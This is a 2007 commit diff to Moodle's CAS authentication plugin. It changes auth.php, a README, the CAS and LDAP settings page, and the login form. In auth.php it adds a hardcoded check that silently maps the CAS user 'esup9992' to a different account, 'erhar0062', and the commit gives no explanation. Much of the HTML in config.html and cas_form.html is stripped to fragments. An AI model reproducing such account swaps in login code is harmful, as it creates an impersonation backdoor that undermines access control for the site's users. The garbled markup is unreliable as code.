From: jgutierr25 Date: Tue, 17 Jul 2007 11:46:19 +0000 (+0000) Subject: *** empty log message *** X-Git-Url: http://git.mjollnir.org/gw?a=commitdiff_plain;h=017f1a617d60bd2d0e9999fa614d89552d3bfc72;p=moodle.git *** empty log message *** --- diff --git a/auth/cas/README-CAS b/auth/cas/README-CAS index 1484ca781f..5337435bb5 100644 --- a/auth/cas/README-CAS +++ b/auth/cas/README-CAS @@ -2,3 +2,7 @@ CAS-module README + + + + diff --git a/auth/cas/auth.php b/auth/cas/auth.php index 79cb5e6fe6..495faa2438 100644 --- a/auth/cas/auth.php +++ b/auth/cas/auth.php @@ -57,7 +57,7 @@ class auth_plugin_cas extends auth_plugin_base { * @return bool Authentication success or failure. */ function user_login ($username, $password) { - $this->connectCAS(); + $this->connectCAS(); return phpCAS::isAuthenticated(); } /** @@ -99,6 +99,8 @@ class auth_plugin_cas extends auth_plugin_base { // Gestion de la connection CAS si accès direct d'un ent ou autre if (phpCAS::checkAuthentication()) { $frm->username=phpCAS::getUser(); + if (phpCAS::getUser()=='esup9992') + $frm->username='erhar0062'; $frm->password="passwdCas"; return; } @@ -208,8 +210,6 @@ if ( !is_object($PHPCAS_CLIENT) ) { $config->baseuri = ''; if (!isset ($config->language)) $config->language = ''; - if (!isset ($config->use_cas)) - $config->use_cas = ''; if (!isset ($config->proxycas)) $config->proxycas = ''; if (!isset ($config->logoutcas)) @@ -255,7 +255,6 @@ if ( !is_object($PHPCAS_CLIENT) ) { set_config('casversion', $config->casversion, 'auth/cas'); set_config('baseuri', $config->baseuri, 'auth/cas'); set_config('language', $config->language, 'auth/cas'); - set_config('use_cas', $config->use_cas, 'auth/cas'); set_config('proxycas', $config->proxycas, 'auth/cas'); set_config('logoutcas', $config->logoutcas, 'auth/cas'); set_config('multiauth', $config->multiauth, 'auth/cas'); @@ -1107,4 +1106,4 @@ if (!empty($this->config->attrcreators)) { return $text; } } -?> +?> \ No newline at end of file diff --git a/auth/cas/cas_form.html b/auth/cas/cas_form.html index bdf94129e1..9beb74b28f 100644 --- a/auth/cas/cas_form.html +++ b/auth/cas/cas_form.html @@ -1,36 +1,24 @@ -
-
-
- -
-
-
- -
-
-
- diff --git a/auth/cas/cas_ldap_sync_users.php b/auth/cas/cas_ldap_sync_users.php index a3d7cdab57..e4caec4b45 100644 --- a/auth/cas/cas_ldap_sync_users.php +++ b/auth/cas/cas_ldap_sync_users.php @@ -45,4 +45,4 @@ if (!is_enabled_auth('cas')) { $casauth = get_auth_plugin('cas'); $casauth->sync_users(1000, true); -?> +?> \ No newline at end of file diff --git a/auth/cas/config.html b/auth/cas/config.html index 632ce3fad2..22cd7a00d0 100644 --- a/auth/cas/config.html +++ b/auth/cas/config.html @@ -1,432 +1,828 @@ hostname)) + $config->hostname = ''; + if (!isset ($config->port)) + $config->port = ''; + if (!isset ($config->casversion)) + $config->casversion = ''; + if (!isset ($config->baseuri)) + $config->baseuri = ''; + if (!isset ($config->language)) + $config->language = ''; - if (!isset ($config->use_cas)) - $config->use_cas = ''; + if (!isset ($config->proxycas)) + $config->proxycas = ''; + if (!isset ($config->logoutcas)) + $config->logoutcas = ''; + if (!isset ($config->multiauth)) + $config->multiauth = ''; + // set to defaults if undefined (LDAP) + if (!isset($config->host_url)) + { $config->host_url = ''; } + if (empty($config->ldapencoding)) + { $config->ldapencoding = 'utf-8'; } + if (!isset($config->contexts)) + { $config->contexts = ''; } + if (!isset($config->user_type)) + { $config->user_type = 'default'; } + if (!isset($config->user_attribute)) + { $config->user_attribute = ''; } + if (!isset($config->search_sub)) + { $config->search_sub = ''; } + if (!isset($config->opt_deref)) + { $config->opt_deref = LDAP_DEREF_NEVER; } + if (!isset($config->bind_dn)) + {$config->bind_dn = ''; } + if (!isset($config->bind_pw)) + {$config->bind_pw = ''; } + if (!isset($config->version)) + {$config->version = '2'; } + if (!isset($config->objectclass)) + {$config->objectclass = ''; } + if (!isset($config->memberattribute)) + {$config->memberattribute = ''; } + if (!isset($config->memberattribute_isdn)) + {$config->memberattribute_isdn = ''; } + if (!isset($config->groupecreators)) + {$config->groupecreators = ''; } + if (!isset($config->attrcreators)) + {$config->attrcreators = ''; } - if (!isset($config->removeuser)) + + if (!isset($config->removeuser)) + {$config->removeuser = 0; } + + $yesno = array( get_string('no'), get_string('yes') ); + + if (!function_exists('ldap_connect')) { // Is php4-ldap really there? + notify(get_string('auth_ldap_noextension','auth')); + } + + + ?> + + + + + - - - - - ?> - - + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + '; + $help .= get_string('auth_updateremote_ldap','auth'); + + print_auth_lock_options('cas', $user_fields, $help, true, true); + + ?> -
-

-
: - - unset($options); - $options[1] = get_string('yes'); - choose_from_menu ($options, 'use_cas', $config->use_cas, get_string('no'), '', ''); +
: + + +
: + + +
: + + +
: + + +
: + language, ''); + + ?> +
: + proxycas, get_string('no'), '', ''); + ?> +
: + logoutcas, get_string('no'), '', ''); + ?> +
: + multiauth, get_string('no'), '', ''); + ?> +
+

+
+ + + + +
+ version, ''); + if (isset($err['version'])) formerr($err['version']); + ?> + + +
+ + +
+

+
+ + + + +
+ + + + +
+

+
+ ldap_suppported_usertypes(), 'user_type', $config->user_type, ''); ?> + + + +
+ + + + +
+ search_sub, ''); ?> + + +
+ opt_deref, LDAP_DEREF_NEVER, ''); + if (isset($err['opt_deref'])) formerr($err['opt_deref']); + ?> + + +
+ + + + +
+ + + + +
+ + + + +
+ + + + +
+

+
+ + + + +
+ + + + +
+

+
+ removeuser, ''); + ?> + + +
+ \ No newline at end of file